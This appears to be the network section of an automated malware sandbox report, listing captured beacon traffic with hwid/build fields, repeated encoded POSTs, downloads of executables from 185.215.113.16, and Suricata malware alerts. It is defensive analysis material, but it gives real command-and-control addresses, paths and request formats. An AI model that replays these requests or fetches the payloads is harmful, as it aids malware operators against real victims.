Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build"puma------CBFCFBFBFBKFIDHJKFCA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIDGHJEBFBGDHDGIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 44 47 48 4a 45 42 46 42 47 44 48 44 47 49 49 2d 2d 0d 0a Data Ascii: ------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------FIIIIDGHJEBFBGDHDGIIContent-Disposition: form-data; name="build"puma------FIIIIDGHJEBFBGDHDGII--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 45 44 39 36 34 45 46 30 44 46 34 32 36 38 31 32 30 39 37 32 34 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="hwid"EED964EF0DF42681209724------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build"puma------HJJJECFIECBGDGCAAAEH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 37 32 41 37 37 42 37 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B72A77B75A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49759 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49984 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49992 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49998 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49998 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49996 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50047 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50096 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
